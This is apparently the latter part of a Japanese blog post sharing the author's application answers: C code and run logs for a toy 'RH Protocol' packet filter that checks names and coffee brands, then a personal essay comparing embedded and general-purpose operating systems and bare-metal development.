    if ((strcmp_ignorecase(source, "cocoa-san") == 0) && (strcmp_ignorecase(dest, "Chino") == 0)) 
        return 0;
    
    return 1;
}


int validOrderBrand(char *data) {
   
    if (strstr(data, "BlueMountain") != NULL ) 
        return 1;
    
    if (strstr(data, "Columbia") != NULL ) 
        return 1;
    
    if (strstr(data, "OriginalBlend" ) != NULL ) 
        return 1;

    return 0;
}


int invalidOrderBrand(char *data) {
    
    if (strstr(data, "DandySoda") != NULL ) 
        return 0;

    if (strstr(data, "FrozenEvergreen") != NULL ) 
        return 0;
    
    return 1;
}

// 以下のURLから引用
// http://www.c-tipsref.com/tips/string/o_strncmp_ignorecase.html
int strcmp_ignorecase(const char *s1, const char *s2) {
        int i = 0;

            /* 文字が等しい間繰り返す */
            while (toupper((unsigned char)s1[i]) == toupper((unsigned char)s2[i])) {
                        if (s1[i] == '\0') {
                                        return 0;
                                                }
                                i++;
                                    }

                return toupper((unsigned char)s1[i]) - toupper((unsigned char)s2[i]);
}

文字列そのまま。

Start RH Protocol anarysis
[INFO] 1 PASS!
[INFO] 2 PASS!
[INFO] 3 PASS!
[INFO] 4 PASS!
[INFO] 5 PASS!
[INFO] 6 PASS!
[INFO] 7 PASS!
[INFO] 8 PASS!
[INFO] 9 PASS!
[INFO] 10 REJECTED in Destination
[INFO] 11 PASS!
[INFO] 12 PASS!
[INFO] 13 PASS!
[INFO] 14 REJECTED in Destination
[INFO] 15 REJECTED in Magic
[INFO] 16 PASS!
[INFO] 17 PASS!
[INFO] 18 PASS!
[INFO] 19 REJECTED in Destination
[INFO] 20 REJECTED in Magic
[INFO] 21 REJECTED in Magic
[INFO] 21 REJECTED in invalid order
[INFO] 22 PASS!
[INFO] 23 PASS!
[INFO] 24 PASS!
[INFO] 25 REJECTED in Destination
[INFO] 26 REJECTED in Magic
[INFO] 27 REJECTED in Magic
[INFO] 27 REJECTED in invalid order
[INFO] 28 REJECTED in Magic
[INFO] 28 REJECTED in invalid order
[INFO] 29 PASS!
[INFO] 30 PASS!
[INFO] 31 PASS!
[INFO] 32 REJECTED in Destination
[INFO] 33 REJECTED in Magic
[INFO] 34 REJECTED in Magic
[INFO] 34 REJECTED in invalid order
[INFO] 35 REJECTED in Magic
[INFO] 35 REJECTED in invalid order
[INFO] 36 REJECTED in Magic
[INFO] 37 PASS!
[INFO] 38 PASS!
[INFO] 39 PASS!
[INFO] 40 REJECTED in Destination
[INFO] 41 REJECTED in Magic
[INFO] 42 REJECTED in Magic
[INFO] 42 REJECTED in invalid order
[INFO] 43 REJECTED in Magic
[INFO] 43 REJECTED in invalid order
[INFO] 44 REJECTED in Magic
[INFO] 45 REJECTED in Magic
[INFO] 45 REJECTED in invalid order
[INFO] file reading is finish!
Finish RH Protocol anarysis

リスト2 大文字小文字の区別をつけない

Start RH Protocol anarysis
[INFO] 1 PASS!
[INFO] 2 PASS!
[INFO] 3 REJECTED in Cond.4
[INFO] 4 PASS!
[INFO] 5 REJECTED in Cond.4
[INFO] 6 PASS!
[INFO] 7 PASS!
[INFO] 8 REJECTED in Cond.4
[INFO] 9 PASS!
[INFO] 10 REJECTED in Destination
[INFO] 11 PASS!
[INFO] 12 REJECTED in Cond.4
[INFO] 13 PASS!
[INFO] 14 REJECTED in Destination
[INFO] 15 REJECTED in Magic
[INFO] 16 PASS!
[INFO] 17 REJECTED in Cond.4
[INFO] 18 PASS!
[INFO] 19 REJECTED in Destination
[INFO] 20 REJECTED in Magic
[INFO] 21 REJECTED in Magic
[INFO] 21 REJECTED in invalid order
[INFO] 22 PASS!
[INFO] 23 REJECTED in Cond.4
[INFO] 24 PASS!
[INFO] 25 REJECTED in Destination
[INFO] 26 REJECTED in Magic
[INFO] 27 REJECTED in Magic
[INFO] 27 REJECTED in invalid order
[INFO] 28 REJECTED in Magic
[INFO] 28 REJECTED in invalid order
[INFO] 29 PASS!
[INFO] 30 REJECTED in Cond.4
[INFO] 31 PASS!
[INFO] 32 REJECTED in Destination
[INFO] 33 REJECTED in Magic
[INFO] 34 REJECTED in Magic
[INFO] 34 REJECTED in invalid order
[INFO] 35 REJECTED in Magic
[INFO] 35 REJECTED in invalid order
[INFO] 36 REJECTED in Magic
[INFO] 37 PASS!
[INFO] 38 REJECTED in Cond.4
[INFO] 39 PASS!
[INFO] 40 REJECTED in Destination
[INFO] 41 REJECTED in Magic
[INFO] 42 REJECTED in Magic
[INFO] 42 REJECTED in invalid order
[INFO] 43 REJECTED in Magic
[INFO] 43 REJECTED in invalid order
[INFO] 44 REJECTED in Magic
[INFO] 45 REJECTED in Magic
[INFO] 45 REJECTED in invalid order
[INFO] file reading is finish!
Finish RH Protocol anarysis

選択問題5

設問

PCなどに搭載されているOSは「汎用OS」と呼ばれますが、それに対して、家電やAV機器などの「組込みシステム」に搭載されているOSは「組込みOS」と呼ばれます。
組込みOSと汎用OSの違い、「OSが無い」や「ベアメタル」という環境、そもそもOSとは何なのか?など、あなた自身はどう考えているのかを、
あなた自身の言葉で自由に説明してください。(「正しい答え」を聞いているわけではありません。あなた自身の考えを教えてください)

解答

・組み込みOSと汎用OSの違い
組み込みOSと汎用OSで、個人的に異なっている点を挙げていく。
まずは、各OSの汎用性と移植性である。汎用OSは、様々なPCで動いており、その中核となるCPUアーキテクチャも様々である。Intel x86,x64、ARM,MIPS,Power PCなどが挙げられる。汎用OSは、どのようなアーキテクチャでも動作できるようにアーキテクチャレベルでの差異を吸収できるように設計・実装されていると考えている。また吸収できない部分に関しては、配布されるイメージをアーキテクチャごとに違うもので対処している。例えばLinuxディストリビューションでは、自分の環境に合わせてダウンロードするイメージファイルを選択する。
対して、組み込みOSは、あるたった一つのアーキテクチャのある型番でさえ動作すれば良いものであり、汎用OSのように他のアーキテクチャでも動作できるようには設計・実装されていない。他のアーキテクチャへの移植は、汎用OSと比べて難しく、場合によっては不可能であることがある。

次に、異なる点としては動作するアプリケーションである。
汎用OSでは、OSを設計する段階でどのようなアプリケーションが実行されるか厳密には想定していない。どのようなアプリケーションでも実行が可能なことが求められている。加えて、複数のタスクを実行できるようにタスクスケジューリングが必要である。また、OSを開発してからアプリケーションの開発が行われる。これは、ユーザの要望に柔軟に対応するためである、
対して、組み込みOSは設計段階で、何を行うか厳密に想定されている。OSの設計段階以前から、どのような用途でどれぐらいの制約があり、資源はどの程度あるのか決まっている。その中で、必要な処理を実装していくのが組み込み用途での開発であり、後から追加でアプリケーションが動くことは、全く想定されていない。また、要件次第では、マルチタスクである必要もなく、単一のタスクを実行するOSもあり得る。

また、アプリケーションの実行権限も異なる点である。
汎用OSでは、どのようなアプリケーションが実行されるか不明である。悪意のあるプログラムの実行や、脆弱性のあるアプリケーションから不正な処理が行われるかもしれない。そのため、OSが行う処理以外は、ユーザタスクというふうにして、権限を下げて実行される。ユーザタスクは、他のプログラムへと影響を及ぼさないような権限で実行され、I/Oへのアクセスも制限されている。必要な場合は、システムコールなどを介してOSへと処理を依頼し、OSがシステム権限で処理を行う。
組み込みOSでは、実行されるアプリケーションが決まっているので、場合によっては、アプリケーションそのものにシステム権限を与えて実行を許可している。


・ベアメタル環境について
ベアメタル開発を行っていると、現存するOSが如何にすごいものか痛感する。マルチタスクOSに不可欠であるタスクスイッチを実装する時、とてもつまずいたことを覚えている。慣れないアセンブラでプログラムしていたことも原因だが、何よりもタスクスイッチの具体的なイメージを掴めなかったことが最大の原因であった。現存するOSは、タスクスイッチでかかる時間を極力減らそうと最適化されたコードとなっており、とても勉強になった。
しかし、現存のOSを使っている出てくる不満は、自分で作ることでしか解決できない。参考にしつつも自分の望むようにOSを作っていけるベアメタル環境は、素晴らしいものであると思っている。


・OSとは何か
教科書的に言うならば、ハードウェアとアプリケーションの間で、互いの仲介を行うソフトウェアである。ハードウェアの仮想化や抽象化を行い、アプリケーションからのアクセスを簡易化し、面倒な処理を肩代わりする。また、メモリの管理も行い、システム全体が効率よく処理できるようにしている。特定のタスクがCPUを占領しないように、タスクスケジューリングを行い、それぞれのタスクが平等に実行されるようにしている。他にも、OSが司る処理は多く、様々なことを行っている。

このことから、個人的にOSとは今のコンピュータを有効的に扱うにはなくてはならない存在であると考えている。これからも、様々なOSが誕生すると考えており、研究の対象としてとても面白いものだと思う。現在私が所属している研究室も、OSを中心としたシステムソフトウェアを研究しており、様々な手法を用いたOSを見ている。そのどれもが、とても興味深くとても面白いものであり、まだまだ枯れていないと確信している。コンピュータが存在する限り、ハードウェアのすぐ上で動作するOSがなくなることはないと思っている。これから発展していく有りとあらゆる情報技術の中で、OSは重要な位置を占めていくと考えている。

さいごに

以上が、僕なりの選択問題への解答です。
文字数を書くことを重視して、自分の得意と思っている分野の問題を選びました。
設問から脱線しているところが多々ありますが、受かっていたので良しとしましょう。